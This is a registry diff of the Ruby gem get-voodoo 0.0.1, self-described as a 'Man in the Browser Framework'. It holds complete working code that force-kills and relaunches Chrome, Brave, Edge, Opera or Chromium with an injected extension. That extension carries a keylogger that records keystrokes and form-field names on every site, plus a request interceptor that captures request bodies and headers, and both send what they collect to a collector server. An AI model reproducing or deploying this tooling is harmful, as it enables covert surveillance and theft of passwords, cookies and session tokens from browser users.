get-voodoo 0.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml ADDED
@@ -0,0 +1,7 @@
1
+ ---
2
+ SHA256:
3
+ metadata.gz: b0fcdaba9b3efe46744664468d43523c13515711f8dbfb7d1344d64b69ccd700
4
+ data.tar.gz: 802809af82cc9ecc90aff242c6033afe5bd4b411e77ebe1c0e531037d737f657
5
+ SHA512:
6
+ metadata.gz: 3e89fd58e34db747ac7246c1c2ca3338cdfdcb628dc65914dc681e820ba020338db375a37e0fc43ff5b1dfe842caa12a2c4b18c56960cf2a5ddac6a6c07fa201
7
+ data.tar.gz: f656b8be62959200757b20abfeb1989398100be639a5295dfa7783003672edaea95a58d03282083cba4afd69c5e7a0b31f1ebce6eeaacbe0ef661df521491103
data/bin/voodoo ADDED
@@ -0,0 +1,10 @@
1
+ #!/usr/bin/env ruby
2
+
3
+ require 'bundler/setup'
4
+
5
+ lib_dir = File.expand_path(File.join(File.dirname(__FILE__), '../lib'))
6
+ $LOAD_PATH << lib_dir unless $LOAD_PATH.include?(lib_dir)
7
+
8
+ require 'voodoo/cli'
9
+
10
+ VOODOO::CLI.start(ARGV)
@@ -0,0 +1,112 @@
1
+ require 'voodoo/extension'
2
+ require 'voodoo/collector'
3
+
4
+ module VOODOO
5
+
6
+ class Browser
7
+ attr_reader :extension
8
+ attr_accessor :bundle
9
+ attr_accessor :profile
10
+ attr_accessor :process_name
11
+
12
+ def initialize(bundle: nil, process_name: nil, profile: nil, extension: Extension.new)
13
+ @bundle = bundle
14
+ @extension = extension
15
+ @process_name = process_name
16
+ @collector_threads = []
17
+
18
+ @extension.manifest[:permissions] = ['tabs', '*://*/*', 'webRequest']
19
+ @extension.add_background_script(file: File.join(__dir__, 'js/collector.js'))
20
+ end
21
+
22
+ def add_script(content: nil, file: nil, matches: '*://*/*')
23
+ if content == nil && file != nil
24
+ content = File.read file
25
+ end
26
+ if content == nil
27
+ raise StandardError.new(':content or :file argument are required')
28
+ end
29
+ @extension.add_content_script([matches], js: [content])
30
+ self
31
+ end
32
+
33
+ def keylogger(matches: '*://*/*', url_include: '')
34
+ collector = Collector.new
35
+ collector.on_json {|jsond| yield jsond }
36
+
37
+ options = {
38
+ collector_url: collector.url
39
+ }
40
+
41
+ @collector_threads.push(collector.thread)
42
+
43
+ keylogger_js = build_js('keylogger.js', with_options: options)
44
+ @extension.add_content_script(matches, js: [keylogger_js])
45
+ end
46
+
47
+ def intercept(matches: nil, url_include: nil, body_include: nil, header_exists: nil)
48
+ collector = make_collector() {|jsond| yield jsond }
49
+ options = {
50
+ matches: matches,
51
+ url_include: url_include,
52
+ body_include: body_include,
53
+ header_exists: header_exists,
54
+ collector_url: collector.url
55
+ }
56
+ background_js = build_js('intercept.js', with_options: options)
57
+ @extension.add_background_script content: background_js
58
+ end
59
+
60
+ def hijack(url = '')
61
+ # kill the browser process twise, to bypass close warning
62
+ `pkill -a -i "#{@process_name}"`
63
+ `pkill -a -i "#{@process_name}"`
64
+ sleep 0.1
65
+
66
+ profile_dir = "--profile-directory=\"#{@profile}\"" if @profile != nil
67
+ `open -b "#{@bundle}" --args #{profile_dir} --load-extension="#{@extension.save}" #{url}`
68
+
69
+ for thread in @collector_threads
70
+ thread.join
71
+ end
72
+ end
73
+
74
+ def Browser.Chrome
75
+ self.new(bundle: 'com.google.Chrome', process_name: 'Google Chrome')
76
+ end
77
+
78
+ def Browser.Brave
79
+ self.new(bundle: 'com.brave.Browser', process_name: 'Brave Browser')
80
+ end
81
+
82
+ def Browser.Opera
83
+ self.new(bundle: 'com.operasoftware.Opera', process_name: 'Opera')
84
+ end
85
+
86
+ def Browser.Edge
87
+ self.new(bundle: 'com.microsoft.edgemac', process_name: 'Microsoft Edge')
88
+ end
89
+
90
+ def Browser.Chromium
91
+ self.new(bundle: 'org.chromium.Chromium', process_name: 'Chromium')
92
+ end
93
+
94
+ protected
95
+
96
+ def make_collector
97
+ collector = Collector.new
98
+ collector.on_json {|jsond| yield jsond }
99
+ @collector_threads.push(collector.thread)
100
+ return collector
101
+ end
102
+
103
+ def build_js(file, with_options: nil)
104
+ js = File.read(File.join(__dir__, 'js', file))
105
+ if with_options != nil
106
+ js = js.gsub('REBY_INJECTED_OPTIONS', JSON.generate(with_options))
107
+ end
108
+ return js
109
+ end
110
+ end
111
+
112
+ end
data/lib/voodoo/cli.rb ADDED
@@ -0,0 +1,124 @@
1
+ require 'thor'
2
+ require 'json'
3
+ require 'voodoo/browser'
4
+
5
+ module VOODOO
6
+
7
+ VERSION = 'v0.0.1'
8
+
9
+ class CLI < Thor
10
+
11
+ desc 'version', 'Prints voodoo version'
12
+ def version
13
+ puts VERSION
14
+ end
15
+
16
+ option :url_include, :type => :string, :aliases => :u, :default => nil
17
+ option :body_include, :type => :string, :aliases => :b, :default => nil
18
+ option :header_exists, :type => :string, :aliases => :h, :default => nil
19
+ option :output, :type => :string, :aliases => :o, :default => 'stdout'
20
+ option :site, :type => :string, :aliases => :s, :default => ''
21
+ option :matches, :type => :array, :aliases => :m, :default => ['<all_urls>']
22
+ option :browser, :type => :string, :aliases => :b, :default => 'chrome'
23
+ desc 'intercept', 'intercept browser requests'
24
+ def intercept
25
+ browser = get_browser options[:browser]
26
+
27
+ output = options[:output]
28
+
29
+ if output != 'stdout'
30
+ output = open(output, 'a')
31
+ end
32
+
33
+ browser.intercept(matches: options[:matches],
34
+ url_include: options[:url_include],
35
+ body_include: options[:body_include]) do |req|
36
+ if output != 'stdout'
37
+ output.puts JSON.generate(req)
38
+ output.close
39
+ output = open(output, 'a')
40
+ else
41
+ puts "#{req[:method]} #{req[:url]}"
42
+ if req[:body]
43
+ body = req[:body]
44
+ if body.length > 100
45
+ body = body[0...97] + '...'
46
+ end
47
+ puts "BODY: #{body}"
48
+ end
49
+ end
50
+ end
51
+
52
+ browser.hijack options[:site]
53
+ end
54
+
55
+ option :site, :type => :string, :aliases => :s, :default => ''
56
+ option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
57
+ option :browser, :type => :string, :aliases => :b, :default => 'chrome'
58
+ desc 'script <js/path>', 'add a content script'
59
+ def script(path_or_js)
60
+ browser = get_browser options[:browser]
61
+ if File.exists? path_or_js
62
+ browser.add_script file: path_or_js
63
+ else
64
+ browser.add_script content: path_or_js
65
+ end
66
+ browser.hijack options[:site]
67
+ end
68
+
69
+ option :site, :type => :string, :aliases => :s, :default => ''
70
+ option :output, :type => :string, :aliases => :o, :default => 'stdout'
71
+ option :matches, :type => :array, :aliases => :m, :default => ['*://*/*']
72
+ option :browser, :type => :string, :aliases => :b, :default => 'chrome'
73
+ desc 'keylogger', 'records user keystrokes'
74
+ def keylogger
75
+ browser = get_browser options[:browser]
76
+ output = options[:output]
77
+
78
+ if output != 'stdout'
79
+ output = open(output, 'a')
80
+ end
81
+
82
+ browser.keylogger(matches: options[:matches]) do |event|
83
+ if output != 'stdout'
84
+ output.puts JSON.generate(event)
85
+ else
86
+ print event[:log]
87
+ end
88
+ end
89
+
90
+ browser.hijack options[:site]
91
+ end
92
+
93
+ def self.exit_on_failure?
94
+ true
95
+ end
96
+
97
+ private
98
+
99
+ def get_browser(name)
100
+ browser = nil
101
+
102
+ case name.downcase
103
+ when 'chrome'
104
+ browser = Browser.Chrome
105
+ when 'chromium'
106
+ browser = Browser.Chromium
107
+ when 'opera'
108
+ browser = Browser.Opera
109
+ when 'edge'
110
+ browser = Browser.Edge
111
+ when 'brave'
112
+ browser = Browser.Brave
113
+ end
114
+
115
+ if browser == nil
116
+ raise StandardError.new "Unsupported browser \"#{name}\""
117
+ end
118
+
119
+ return browser
120
+ end
121
+
122
+ end
123
+
124
+ end
@@ -0,0 +1,61 @@
1
+ require 'json'
2
+ require 'socket'
3
+ require 'securerandom'
4
+
5
+ module VOODOO
6
+
7
+ class Collector
8
+ attr_reader :port
9
+ attr_reader :thread
10
+ attr_reader :token
11
+
12
+ def initialize(port = 0)
13
+ if port == 0
14
+ tmp_server = TCPServer.open('127.0.0.1', 0)
15
+ @port = tmp_server.addr[1]
16
+ tmp_server.close
17
+ else
18
+ @port = port
19
+ end
20
+ @token = SecureRandom.uuid
21
+ end
22
+
23
+ def url
24
+ return "http://localhost:#{@port}/?token=#{@token}"
25
+ end
26
+
27
+ def on_json
28
+ @thread = Thread.new do
29
+ server = TCPServer.new('127.0.0.1', @port)
30
+
31
+ loop {
32
+ begin
33
+ socket = server.accept
34
+ headers = {}
35
+ method, path = socket.gets.split
36
+
37
+ unless path.include? @token
38
+ socket.puts("HTTP/1.1 400 OK\r\n\r\n")
39
+ socket.close
40
+ next
41
+ end
42
+
43
+ while line = socket.gets.split(" ", 2)
44
+ break if line[0] == ""
45
+ headers[line[0].chop] = line[1].strip
46
+ end
47
+
48
+ post_body = socket.read(headers["Content-Length"].to_i)
49
+ socket.puts("HTTP/1.1 204 OK\r\n\r\n")
50
+ socket.close
51
+
52
+ jsonData = JSON.parse(post_body, {:symbolize_names => true})
53
+ yield jsonData
54
+ rescue
55
+ end
56
+ }
57
+ end
58
+ end
59
+ end
60
+
61
+ end
@@ -0,0 +1,75 @@
1
+ require 'set'
2
+ require 'json'
3
+ require 'tmpdir'
4
+ require 'fileutils'
5
+
6
+ module VOODOO
7
+
8
+ class Extension
9
+ attr_accessor :manifest
10
+ attr_reader :folder
11
+
12
+ def initialize
13
+ @id = 0
14
+ @folder = Dir.mktmpdir
15
+ @manifest = {
16
+ name: '~',
17
+ author: '~',
18
+ description: '',
19
+ version: '0.0.1',
20
+ manifest_version: 2,
21
+ background: {
22
+ scripts: []
23
+ },
24
+ permissions: [],
25
+ content_scripts: []
26
+ }
27
+ end
28
+
29
+ def add_background_script(content: nil, file: nil)
30
+ if content == nil && file != nil
31
+ content = File.read file
32
+ end
33
+ if content == nil
34
+ raise StandardError.new(':content or :file argument are required')
35
+ end
36
+ path = add_file(content, with_extension: '.js')
37
+ @manifest[:background][:scripts] << path
38
+ end
39
+
40
+ def add_content_script(matches, js: [], css: [])
41
+ matches = [matches] unless matches.is_a? Array
42
+
43
+ js = js.map { |str| add_file(str) }
44
+ css = css.map { |str| add_file(str, with_extension: '.css') }
45
+
46
+ @manifest[:content_scripts] << {
47
+ js: js,
48
+ css: css,
49
+ matches: matches
50
+ }
51
+ end
52
+
53
+ def save
54
+ manifest_path = File.join(@folder, 'manifest.json')
55
+ File.write(manifest_path, JSON.generate(@manifest))
56
+ return @folder
57
+ end
58
+
59
+ def unlink
60
+ FileUtils.rm_r(@folder, :force=>true)
61
+ end
62
+
63
+ private
64
+
65
+ def add_file(content, with_extension: '.js')
66
+ @id += 1
67
+ filename = @id.to_s + with_extension
68
+ file_path = File.join(@folder, filename)
69
+ File.write file_path, content
70
+ return filename
71
+ end
72
+
73
+ end
74
+
75
+ end
@@ -0,0 +1,4 @@
1
+ chrome.runtime.onMessage.addListener(function(request, sender, sendResponse) {
2
+ navigator.sendBeacon(request.collector_url, request.body);
3
+ sendResponse(1)
4
+ });
@@ -0,0 +1,64 @@
1
+ /**
2
+ * VOODOO Intercept
3
+ */
4
+ (function () {
5
+ let options = REBY_INJECTED_OPTIONS;
6
+ let matches = options.matches || ["<all_urls>"];
7
+
8
+ if (!Array.isArray(matches)) {
9
+ matches = [matches];
10
+ }
11
+
12
+ if (!options.collector_url) {
13
+ return;
14
+ }
15
+
16
+ const requests = new Map();
17
+
18
+ chrome.webRequest.onBeforeSendHeaders.addListener(function (e) {
19
+ const request = requests.get(e.requestId);
20
+ if (!request) {
21
+ return;
22
+ }
23
+ requests.delete(e.requestId);
24
+ request.headers = e.requestHeaders;
25
+
26
+ if (options.header_exists) {
27
+ let found = false;
28
+ for (let header of request.headers) {
29
+ if (header.name.toLowerCase() === options.header_exists) {
30
+ found = true;
31
+ break;
32
+ }
33
+ }
34
+ if (!found) {
35
+ return;
36
+ }
37
+ }
38
+
39
+ navigator.sendBeacon(options.collector_url, JSON.stringify(request))
40
+ }, { urls: matches }, ['requestHeaders', 'extraHeaders'])
41
+
42
+ chrome.webRequest.onBeforeRequest.addListener(
43
+ function (request) {
44
+ if (request.url.startsWith(options.collector_url)) {
45
+ return { cancel: false };
46
+ }
47
+
48
+ if (options.url_include && request.url.indexOf(options.url_include) === -1) {
49
+ return;
50
+ }
51
+
52
+ try {
53
+ request.body = request.requestBody.raw.map(data => String.fromCharCode.apply(null, new Uint8Array(data.bytes))).join('')
54
+ delete request.requestBody;
55
+ } catch { }
56
+
57
+ requests.set(request.requestId, request);
58
+ return { cancel: false };
59
+ },
60
+ { urls: matches },
61
+ ['requestBody']
62
+ );
63
+
64
+ })();
@@ -0,0 +1,75 @@
1
+ /**
2
+ * VOODOO Keylogger
3
+ */
4
+ (function () {
5
+ sessionStorage.setItem("uuid", Math.random().toString(16).substring(2));
6
+ const options = REBY_INJECTED_OPTIONS;
7
+
8
+ if (!options.collector_url) {
9
+ return;
10
+ }
11
+
12
+ let output = "";
13
+ let lastElement = null;
14
+
15
+ function describe(element) {
16
+ const names = {
17
+ type: element.getAttribute("type"),
18
+ name: element.getAttribute("name"),
19
+ id: element.getAttribute("id")
20
+ };
21
+ let id = element.tagName + ":";
22
+ for (let key in names) {
23
+ if (names[key]) {
24
+ id += `${key}=${names[key]} `
25
+ }
26
+ }
27
+ return id;
28
+ }
29
+
30
+ function send_to_collector() {
31
+ chrome.runtime.sendMessage({
32
+ collector_url: options.collector_url,
33
+ body: JSON.stringify({ time: new Date().getTime(), origin: window.location.origin, uuid: sessionStorage.uuid, log: output })
34
+ }, function (response) {
35
+ //console.log(response);
36
+ });
37
+ output = "";
38
+ }
39
+
40
+ setInterval(function () {
41
+ if (output.length !== 0) {
42
+ send_to_collector();
43
+ }
44
+ }, 5000);
45
+
46
+ window.addEventListener("beforeunload", function (e) {
47
+ if (output.length === 0) {
48
+ return;
49
+ }
50
+ send_to_collector();
51
+ }, false);
52
+
53
+ window.addEventListener("blur", function () {
54
+ output += "\n[TAB LOST FOCUS]\n";
55
+ });
56
+
57
+ window.addEventListener("focus", function () {
58
+ output += `\n====== [FOCUS] ${window.location.href} (${document.title}) ======\n`;
59
+ });
60
+
61
+ window.addEventListener("keydown", function (event) {
62
+ if (lastElement !== event.path[0]) {
63
+ lastElement = event.path[0];
64
+ output += `\n==> ${describe(event.path[0])}\n`
65
+ }
66
+ if (event.key.length > 1) {
67
+ output += `[[${event.key}]]`;
68
+ } else {
69
+ output += event.key;
70
+ }
71
+ });
72
+
73
+ output = `\n====== ${window.location.href} (${document.title}) ======\n`;
74
+ send_to_collector();
75
+ })();
data/lib/voodoo.rb ADDED
@@ -0,0 +1,4 @@
1
+ lib_dir = File.expand_path(File.join(File.dirname(__FILE__), '../lib'))
2
+ $LOAD_PATH << lib_dir unless $LOAD_PATH.include?(lib_dir)
3
+
4
+ require 'voodoo/browser'
metadata ADDED
@@ -0,0 +1,53 @@
1
+ --- !ruby/object:Gem::Specification
2
+ name: get-voodoo
3
+ version: !ruby/object:Gem::Version
4
+ version: 0.0.1
5
+ platform: ruby
6
+ authors:
7
+ - Ron Masas
8
+ autorequire:
9
+ bindir: bin
10
+ cert_chain: []
11
+ date: 2022-03-10 00:00:00.000000000 Z
12
+ dependencies: []
13
+ description: Man in the Browser Framework
14
+ email:
15
+ executables:
16
+ - voodoo
17
+ extensions: []
18
+ extra_rdoc_files: []
19
+ files:
20
+ - bin/voodoo
21
+ - lib/voodoo.rb
22
+ - lib/voodoo/browser.rb
23
+ - lib/voodoo/cli.rb
24
+ - lib/voodoo/collector.rb
25
+ - lib/voodoo/extension.rb
26
+ - lib/voodoo/js/collector.js
27
+ - lib/voodoo/js/intercept.js
28
+ - lib/voodoo/js/keylogger.js
29
+ homepage: https://breakpoint.sh/?f=org.rubygems.voodoo
30
+ licenses:
31
+ - GPL-2.0
32
+ metadata:
33
+ source_code_uri: https://github.com/breakpointHQ/VOODOO
34
+ post_install_message:
35
+ rdoc_options: []
36
+ require_paths:
37
+ - lib
38
+ required_ruby_version: !ruby/object:Gem::Requirement
39
+ requirements:
40
+ - - ">="
41
+ - !ruby/object:Gem::Version
42
+ version: '0'
43
+ required_rubygems_version: !ruby/object:Gem::Requirement
44
+ requirements:
45
+ - - ">="
46
+ - !ruby/object:Gem::Version
47
+ version: '0'
48
+ requirements: []
49
+ rubygems_version: 3.0.3.1
50
+ signing_key:
51
+ specification_version: 4
52
+ summary: Man in the Browser Framework
53
+ test_files: []